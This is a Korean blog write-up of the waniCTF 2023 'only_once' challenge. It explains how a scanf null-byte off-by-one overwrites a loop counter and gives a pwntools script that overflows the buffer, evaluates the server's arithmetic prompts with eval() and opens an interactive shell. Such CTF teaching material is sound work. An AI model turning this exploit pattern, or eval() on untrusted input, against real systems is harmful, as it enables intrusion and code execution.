본문 바로가기
CTF

[waniCTF 2023] only_once

by skyepodium 2023. 6. 4.

1. 개요

off by one 문제

 

2. 분석

chall 변수가 0이되면 반복문이 종료됩니다.

 

scanf에서 8바이트가 입력되면, 바이트 뒤에 null 바이트가 추가됩니다.

scanf("%8s", buf);

 

null 바이트가 추가되면, chall 변수가 0x00000000 이 되고 1 감소하면, -1이되서, if (chall == 0) 조건에 안걸리게되어서 반목분이 지속됩니다.

 

from pwn import *

# 1. connect
p = remote("localhost", 9002)

context.log_level = 'debug'

e = ELF("../src/chall")
"""
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
"""

# 2. read challenge
def read_challenge():
    p.recvuntil("+---------------------------------------+")
    p.recvuntil("+---------------------------------------+")
    challenge = p.recvuntil("=").decode('utf-8').strip().replace(" =", "")
    return challenge


# 3. overflow
def overwrite_remaning_by_bof():
    read_challenge()
    payload = b'a' * 8 
    p.sendline(payload)


# 4. solve challenge
def solve_challenge():
    for i in range(3):
        challenge = read_challenge()
        result = eval(challenge)
        p.sendline(str(result))    


# 5. shell interactive
def shell_interactive():
    p.interactive()

if __name__ == "__main__":
    overwrite_remaning_by_bof()
    solve_challenge()
    shell_interactive()

'CTF' 카테고리의 다른 글

[TFCTF 2023] flip-out  (0) 2023.06.04
[seccon beginners ctf 2020] mask  (1) 2023.06.04
[tjCTF 2023] beep-boop-robot  (0) 2023.05.29
[SECCON - Beginners_CTF_2021] magic  (0) 2023.05.28
[SECCON - Beginners_CTF_2021] json  (0) 2023.05.28